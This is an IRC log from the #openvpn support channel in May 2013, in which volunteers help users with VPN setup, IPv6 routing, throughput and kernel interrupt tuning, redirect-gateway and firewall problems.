14:51 < beboj_> 1. Install openvpn package by using apt-get install openvpn 2. Extract anonine_openvpn.zip (download here) into /home/<USERNAME>/openvpn directory 3. Start connection with: sudo openvpn --client --config $HOME/openvpn/anonine.ovpn --ca $HOME/openvpn/anonine.ca.crt 4. Enter username 5. Enter password
14:53 < beboj_> using debian 7.0 wheezy , no ap, connection is via internal gsm (sakis3g)
14:53 < pekster> !provider
14:53 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
14:54 < beboj_> k
15:06 < Mike--> krzee: it's coming from the ipv6 interface on the client side
15:06 < Mike--> I was not expecting traffic over the tunnel coming from ipv6
15:06 < Mike--> as I have no ipv6 on the server
15:06 < Mike--> changing the log level from 4 to 3 removed the message
15:06 < Mike--> so I'm happy
15:06 <@krzee> some app on the client is sending that over the tunnel
15:07 <@krzee> (like i said)
15:07 <@krzee> find it and stop it, or ignore it
15:07 -!- Devastator- is now known as Devastator
15:07 <@krzee> oh nevermind i missed your last line
15:07 <@krzee> you chose to ignore it
15:07 <@krzee> :)
15:07 < Mike--> true
15:07 < Mike--> :D
15:07 < Mike--> thanks for your response
15:08 <@krzee> its harmless, dont worry about ignoring it
15:08 <@krzee> =]
15:08 <@krzee> np
15:08 < Mike--> and btw: openvpn beats ipsec/l2tp or ike2 ass
15:08 -!- kubbing [~kubbing@ip-78-102-124-93.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
15:08 < Mike--> I have been testing various vpn software
15:08 < Mike--> and now I officially do not like ipsec/l2tp or ike2
15:08 < rob0> In a lot of ways, yes. In raw performance, maybe not.
15:08 < Mike--> how about ease to configure and setup
15:09 < Mike--> where both ends are behind a nat router? :)
15:09 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
15:10 < Mike--> and the most important part: windows 8 client :)
15:10 < Mike--> again thanks
15:10 < rob0> Ease of configuration and punching through NAT, both strong points for openvpn.
15:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:16 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
15:17 -!- beboj_ [~beboj@m83-180-191-238.cust.tele2.se] has left #openvpn []
15:17 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
15:19 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
15:24 -!- ghyth [~simple@92.96.125.192] has left #openvpn ["Leaving"]
15:27 < xBytez> Hello there OpenVPN guys.
15:27 < xBytez> I have recently set up my OpenVPN server
15:27 < xBytez> but I get really really bad speeds
15:27 < xBytez> The server can get 25MBytes/s from cachefly and I can get 14.3MBytes/s from cachefly
15:28 < xBytez> but when connected to the VPN
15:28 < xBytez> I get 10Mbits/s
15:28 < xBytez> I also noticed that the adapter is 10Mb/s
15:28 < xBytez> Do you have any idea how to increase the speeds?
15:29 < rob0> 10Mb/s? How did you determine this?
15:29 -!- iliv [~iliv@5.248.193.99] has quit [Ping timeout: 264 seconds]
15:29 < rob0> I'm guessing it's a Windows client and you are going by what the system says it is.
15:30 < xBytez> Yes.
15:30 < xBytez> Windows says that
15:30 < xBytez> but speedtest.net also determines 10Mb/s anyways
15:31 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
15:31 < xBytez> What if I turn compression off?
15:31 < xBytez> would that make a diffrence?
15:31 < rob0> yeah, that is meaningless. But it's likely that you'd lose some speed under the slower of the two connections by using a VPN.
15:32 < rob0> ("that" == "what Windows says")
15:32 < xBytez> so Windows is right?!
15:32 < xBytez> It can only go upto 10Mb/s?
15:33 < pekster> Nope
15:33 < rob0> If Windows is right, it's merely a coincidence. It always says a tun/tap adapter is 10Mb/s, from what I have heard.
15:33 < xBytez> Okay
15:33 < xBytez> so if it's not right
15:33 < xBytez> how would I go about trying to optimize the speeds
15:34 < xBytez> The server has 200Mbits/s and my home has 120Mbits/s
15:34 < pekster> For starters stop testing to "speedfly" or something. Do a speedtest across the link not involving a CDN
15:34 < xBytez> and when I speedtest.net
15:34 < pekster> Test the *link*
15:34 < xBytez> It only goes upto 10Mbit/s
15:34 < pekster> Unless you are speedtest.net, you're involving at lot of other variables
15:34 < xBytez> pekster: how would I go about doing that
15:34 < xBytez> testing the link's speed
15:34 < xBytez> iperf?
15:35 < pekster> iperf, or if you're dealing with Windows, a series of benchmarked transfers to the same endpoint both using and not using the VPN
15:36 < xBytez> [ ID] Interval       Transfer     Bandwidth
15:36 < xBytez> [180]  0.0-10.1 sec  2.70 MBytes  2.25 Mbits/sec
15:41 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:42 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:42 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
16:12 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:17 < EugeneKay> !fail2ban
16:17 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
16:46 -!- vpopov [~happylife@dyn-176-166.fttb.kis.ru] has quit [Ping timeout: 248 seconds]
17:10 -!- beboj [~beboj@c83-251-127-25.bredband.comhem.se] has quit [Quit: Lost terminal]
17:17 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
17:19 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:27 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
17:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:37 -!- corretico [~luis@186.96.95.220] has joined #openvpn
17:37 -!- sc_ [~sc@android.truelinux.net] has joined #openvpn
17:38 < sc_> hi, my android is happily using vpn over ipv4, however, when i request an ipv6 address, it doesn't use the vpn...  I am assuming this is because i need to configured openvpn to use ipv6 as well, but i can't wrap my head around it.  anyone have a good tutorial to use?
17:52 < EugeneKay> IPv4 and IPv6 are entirely different routing families
17:52 < EugeneKay> If you're doing a redirect on v4, but not on v6, then traffic which is destined for a hostname that has both a v4 and a v6 address will probably go via v6, which is not set up to redirect via the vpn
17:52 < EugeneKay> This is because of Hapyp Eyeballs
17:52 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:57 < dimm0k> when i start openvpn as a client from the command line, i'm prompted for the password to the certificate needed for the connection
17:57 < dimm0k> however if i initiate the same command inside a bash script, i'm no longer asked for a password and it fails loading the cert
17:57 < dimm0k> what am i missing?
17:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:59 -!- corretico [~luis@186.96.95.220] has quit [Read error: Connection reset by peer]
18:02 < sc_> EugeneKay: thanks for the explaination, which i understood, the solution is what i do not understand
18:02 < EugeneKay> Set up IPv6 on your vpn
18:02 < sc_> circling back to my original question: how
18:03 < sc_> thank you for coming full circle
18:03 < dimm0k> how can i get openvpn to prompt me for a certificate password in linux if i invoke it through a bash script?
18:03 < EugeneKay> Use 2.3 and see the -ipv6 family of options
18:03 < EugeneKay> The HOWTO hasn't really been updated to include these, and they don't work perfectly anyway
18:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:04 < sc_> thanks
18:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:04 < sc_> i have 2.2.1 installed, with [IPv6 payload 20110424-2 (2.2RC2)]
18:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:13 < sc_> hrmm
18:13 < sc_> still failing
18:16 < sc_> http://forum.xda-developers.com/showpost.php?p=25421160&postcount=6971
18:16 <@vpnHelper> Title: xda-developers - View Single Post - [Rom] AOKP(Jellybean 4.2.2) | Task650 (5.9.13) AT (at forum.xda-developers.com)
18:16 < sc_> better solution :)
18:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:37 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
18:38 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
18:45 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 245 seconds]
18:48 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
19:37 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 256 seconds]
19:49 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
19:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:10 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
20:22 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:36 -!- dyer [~dyer@unaffiliated/dyer] has joined #openvpn
20:36 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:38 < dyer> Hello.  I have a question, I have an open vpn server on ec2 vpc which clients can connect and reach all instances the VPC.  However clients are unable to route out to the internet, and I would like to fix this.  If I am on the open vpn server I can route out to the internet just fine, its only clients that have the problem.  Anyone have any thoughts on what I might be doing wrong here?
20:39 < dyer> Config:  https://paste.voxeolabs.com/bumefigoxi.hs
20:39 < dyer> Logs: https://paste.voxeolabs.com/mepibakare.vhdl
20:43 < dimm0k> if the client can ping the server via the tun0 ip address, as well as the local network the server is on, but the server can't ping the client's tun0 ip address, where am i going wrong?
20:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
20:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
21:04 -!- master_of_master [~master_of@p4FF24D18.dip0.t-ipconnect.de] has joined #openvpn
21:07 -!- master_o1_master [~master_of@p4FF24F37.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
21:12 < pekster> dimm0k: firewall. You know the return routing is good since the icmp-reply (the ICMP ping reply) gets through
21:15 < pekster> dyer: Your links are password protected and can't be viewed. That said, see this:
21:15 < pekster> !redirect
21:15 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:15 <@vpnHelper> http://ircpimps.org/redirect.png
21:20 < dimm0k> damn, windows 7 and the network types...  no wonder, firewalls on for "public"
21:20 < dimm0k> thanks pekster
22:09 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
22:25 -!- kalli [~kalli@194-144-126-150.du.xdsl.is] has joined #openvpn
22:27 < kalli> Is there anything I can do to increase the kernelspace performance in linux or freebsd?
22:27 < kalli> Around 75% of my cpu time is spent on interrupts or softirq
22:47 -!- jtruckz is now known as jxt
22:47 -!- jxt is now known as absent
22:59 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
23:01 -!- absent is now known as troll
23:01 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:12 -!- troll is now known as jtrucks
23:27 -!- JAVACODER [~JAVACODER@2.190.39.58] has joined #openvpn
23:40 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
--- Day changed Mon May 20 2013
00:19 < pppingme> kalli what is this box doing and what hardware is in it?
00:29 < kalli> it's a KVM virtual machine that has one core out of a 2.6ghz AMD Opteron reserved
00:30 < kalli> It's dedicated for openvpn only, usually between 2 and 5 clients, and sits at 100% cpu all the time
00:31 < kalli> the wierd part is, --cipher none doesnt change anything about the throughput (around 50mbit/s), and only around 20% of cpu time is spent in userspace
00:32 < pekster> Right. sirq won't be userland processing; it'll be kernel time spent on software interrupts
00:32 < pekster> Which is things like handling network I/O, etc
00:34 < kalli> is it normal that this part of the processing takes all the cpu power? I thought the encryption work would be the big deal
00:35 < pekster> Depends on exactly what you're doing, but crypto generally isn't the bottleneck until you get into the >100Mbps link speed (so, GigE and faster) where aes-ni (hardware accleration) becomes important
00:36 < pekster> Sounds like your hardware (or perhaps the VM's abstraction of it in your case) can't keep up with the packets, or something else is using the CPU. Is it like that when you're not loading openvpn? ie: when ovpn isn't transferring packets
00:38 < kalli> This core is reserved for this VM only, 0% use with openvpn off. And I can manage around 600mbit/s throughput between the server and the test machine when not tunneling the traffic and the server will use barely any cpu doing that
00:39 < kalli> So I assume it's the copying data back and forth between userspace and kernelspace that is taking all my cpu time? Anything I can do to speed that up?
00:40 < pekster> Not really. If it's a matter of too few interrupts occurring running a kernel with CONFIG_HZ=1000 can generate more, but otherwise there's no way around the context switching
00:41 < pekster> For reference, on my home lan my 2.3GHz celeron unit caps out at around 41Mbps with 40% user, 30% sys, and 25% sirq usage
00:42 < pekster> hardware accel for the crypto (if this CPU had it) could help reduce the user time, but not the kernel time
00:42 < kalli> Wait, youre saying more interrupts might mean *better* performance? I thought it was the exact opposite?
00:43 < pekster> Depends on where the bottleneck is
00:44 < kalli> so with my pattern that is more like 20% user, 25% sys, 25% sirq and 25% interrupt, makes sense if my cpu has hardware crypto?
00:44 < pekster> more interrupts allow things to be more responsive (like responding to an arrived packet from the kernel's perspective) whereas if you had a math cruncher (seti@home or something) you don't want to waste time on an interrupt when you could stay in compute mode longer
00:44 < pekster> `openvpn --show-engines` should show if you have hw accel for crypto
00:45 < pekster> The interrupt thing gets people in trouble doing QoS too since slower kernel timings means your queues need to be longer to be sure you can handle the throughput/jiffy to match your desired speeds
00:45 < pekster> Same principle
00:46 < kalli> gives me "RSAX engine support [rsax]", guess that means hardware support
00:46 < pekster> Yup. If you don't you'll just see the 'dynamic' one
00:46 < kalli> thanks for that tip, going to try a 1000hz kernel
00:46 < pekster> (hence why changing crypto to none won't help you -- that's not the bottleneck)
00:47 < kalli> yeah, there was like no difference disabling it
00:47 < kalli> so if 1000hz doesnt show improvement, 500hz might? or is one end of the spectrum probably best?
00:48 < pekster> It's likely one end in this case, but you can play around and see
00:48 < pekster> Try 1000 and see where you end up. You're at 100 now?
00:48 < kalli> yeah, 100 now
00:49 < kalli> thanks a lot for the tip!
00:49 < pekster> I'd just say rebuild with 1000. My guess is that 500 either won't change (ie: a 5x increase was enough to cap out whatever the next bottleneck for you is) or that it'll get faster at 1000 if too few interrupts are present at 500 anyway
00:50 < kalli> wonder why nobody has made a kernel module to put openvpn on same level with other standards
00:50 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
00:51 < pekster> It does more "massaging" of the data than is logical for kernel-space
00:51 < pekster> If you want that, you want IPsec
00:51 < pekster> There's also,
00:51 < pekster> !gigabit
00:51 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
00:52 < kalli> hah, yeah I read that. 48000 byte frames...
00:52 < pekster> Well, remember that it'll inherently also help redice irqs in a setup because fewer packets arrive requiring kernel processing
00:53 < pekster> Of course, that won't help if you're transfering over a global link with a ~1500 byte MTU
00:53 < kalli> I assume it costs about as much to copy a 48000 byte packet between userspace and kernelspace as a 1500 byte one
00:55 < kalli> Someone needs to invent a vpn standard that is wrapped in udp to traverse nat but still processed in kernelspace like ipsec...
00:55 < pekster> IPsec+NAT-T is designed to do that
00:56 < kalli> huh, now that's a thing I havent heard of
00:56 < kalli> is it supported on windows/linux/mac?
00:57 < pekster> Should be, although I don't know if there's any magic to do it in Windows (back with XP some/all SP levels needed a registry change, but it's been a while since I've done any IPsec on Windows)
00:59 < kalli> I can run arbitrary code on client machines :)
01:02 < pekster> Note also that more interrupts may or may not help on the server if the issue is that the actual kernel processing itself can't keep up
01:02 < pekster> They won't really hurt though if CONFIG_NO_HZ is also enabled
01:05 < kalli> I dont really know much about how this works but I assume that if an interrupt is fired, like to deal with a small copy to userspace, the kernel must wait out the full tick before resuming control to openvpn
01:06 < kalli> so 100 -> 1000 hz would theoretically cut down interrupt time 90%
01:06 < kalli> if the tasks are small enough
01:06 < pekster> Right. So the question in your case would be "is the benefit of more interrupts enough to outweigh the processing time required to deal with them"
01:07 < pekster> I'm betting yes, but how much improvement you'll have to test to see
01:08 < pekster> Oftentime hardware interrupts do nothing but schedule a software interrupt. There's a netfilter guide called something like "an unofficial guide to kernel hacking" that has a nice primer on some of this
01:12 < kalli> http://tkslecturenotes.files.wordpress.com/2010/05/linux-exposed.ppt ?
01:13 < kalli> oh, assume it's this: http://people.netfilter.org/~rusty/unreliable-guides/kernel-hacking/lk-hacking-guide.html
01:13 <@vpnHelper> Title: Unreliable Guide To Hacking The Linux Kernel (at people.netfilter.org)
01:14 < pekster> Yup, that one
01:14 < pekster> It's more geared to kernel programmers, but it might explain some of the internals if that's what you'd like to know more about
01:14 < pekster> (or at least prospective kernel hackers ;)
01:20 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:21 < kalli> knowing more is always fun :)
01:22 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:31 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:33 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:43 -!- iliv [~iliv@5.248.193.99] has joined #openvpn
01:47 -!- jtrucks is now known as dude
01:47 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
01:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:49 -!- jtrucks_ is now known as jtrucks
01:51 -!- dude [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
02:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:04 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 248 seconds]
02:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
02:12 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:14 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
02:25 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
02:26 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Client Quit]
02:28 < iliv> pekster, in this configuration the optional direction parameter is used, and server and client have keya and keyb that are identical on server and client, but keya and keyb are two different keys. would it make sense to add keyc and keyd to the mix? would that somehow increase security even further?
02:31 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
02:42 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:59 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
03:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:14 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:15 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
03:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
03:29 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:31 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:47 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:48 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:49 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:00 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:01 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:08 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Ping timeout: 246 seconds]
04:09 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has quit [Ping timeout: 246 seconds]
04:11 -!- Varazir [~mircwars@c-94-255-133-27.cust.bredband2.com] has joined #openvpn
04:21 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
04:21 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
04:32 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
04:40 < xBytez> Hello.
04:42 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:45 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:49 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
04:50 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
04:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:58 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:59 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:59 < pppingme> ?
05:09 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
05:09 -!- Varazir [~mircwars@c-94-255-133-27.cust.bredband2.com] has quit [Read error: Operation timed out]
05:11 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
05:14 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
05:22 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
05:25 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
05:32 -!- cherwin [~cherwin@robin.teqnix.nl] has quit [Ping timeout: 264 seconds]
05:34 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
05:38 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
05:39 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 276 seconds]
05:40 -!- lbft-ragequit is now known as lbft
05:44 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
05:52 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
05:52 -!- mode/#openvpn [+o krzee] by ChanServ
05:55 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
05:56 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:04 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 248 seconds]
06:06 -!- gerg [~gerg@p4FC2ADCC.dip0.t-ipconnect.de] has joined #openvpn
06:07 < gerg>  i have a problem with a wndr 3800 router and dd-wrt r21286. i can not start openvpn with gui or console. can anyone help?
06:07 < gerg> i don't receive any error messages. "ps | grep openvpn" don't show me a process of openvpn
06:14 < kisom> gerg: enable --verb 4 and you will get error messages
06:18 < gerg> ok  i try this..  i think it could be a problem with nvram or with certificates... currently i am not connectet with the router. try it later
06:22 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Read error: Operation timed out]
06:25 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
06:28 -!- gerg [~gerg@p4FC2ADCC.dip0.t-ipconnect.de] has quit [Quit: Verlassend]
06:44 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
06:52 -!- xenool [~BrianC@dhcp85.signon4.uk.beevpn.com] has joined #openvpn
06:53 < xenool> !welcome
06:53 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:53 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:54 < xenool> !route
06:54 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
06:54 <@vpnHelper> behind the server or client
07:00 < xenool> I have a problem with openvpn in linux i hope you people can help me with. everything works fine and i get an external ip when in connect to vpn. But i would like to still be able to connect to the local ip from wan throuh the router. If im on the local network i can still connect to my computer when it is connected to the vpn on the local network on the ip 192.168.1.150 but the portforward
07:00 < xenool> that is setup in the router stops working when its connected. how do i get it to work with the local port forward?
07:02 -!- dyer [~dyer@unaffiliated/dyer] has quit [Quit: Computer has gone to sleep.]
07:07 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
07:10 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
07:12 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
07:14 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:18 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Quit: No Ping reply in 180 seconds.]
07:19 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
07:24 -!- dyer [~dyer@unaffiliated/dyer] has joined #openvpn
07:32 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:36 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
07:45 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:48 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
08:05 < xenool> I have a problem with openvpn in linux i hope you people can help me with. everything works fine and i get an external ip when in connect to vpn. But i would like to still be able to connect to the local ip from wan throuh the router. If im on the local network i can still connect to my computer when it is connected to the vpn on the local network on the ip 192.168.1.150 but the portforward
08:05 < xenool> that is setup in the router stops working when its connected. how do i get it to work with the local port forward?
08:12 < xTz> could u please try to explain again
08:12 < xTz> what ur setup is
08:12 < xTz> and what u try to achieve
08:13 < xTz> although from what I could got its not a problem with openvpn
08:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
08:18 < xenool> when my server is on openvpn i can not connect to eth0 from wan, but whem im on local network there is no problem
08:22 < xenool> When my server in on openvpn i can not connect to the server from wan. my router has a port forward to the local ip adress 192.168.1.150. and it works when its not connected to vpn. But i can connect to the server from lan to the ip adress 192.168.1.150 also when its on vpn
08:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:35 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
08:35 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
08:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:40 < pekster> iliv: Nope, there's no benefit to that
08:42 < pekster> xenool: If you're using --redirect-gateway *and* you want to respond to external connections from non-LAN sources, you need to do policy routing on the host running the VPN to keep return traffic going out with the same IP/interface it arrived on
08:44 < iliv> pekster, alright, thank you
08:57 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 260 seconds]
08:59 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
09:01 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
09:05 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:07 -!- erre [~erre@193.146.78.97] has joined #openvpn
09:08 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:13 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 245 seconds]
09:15 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
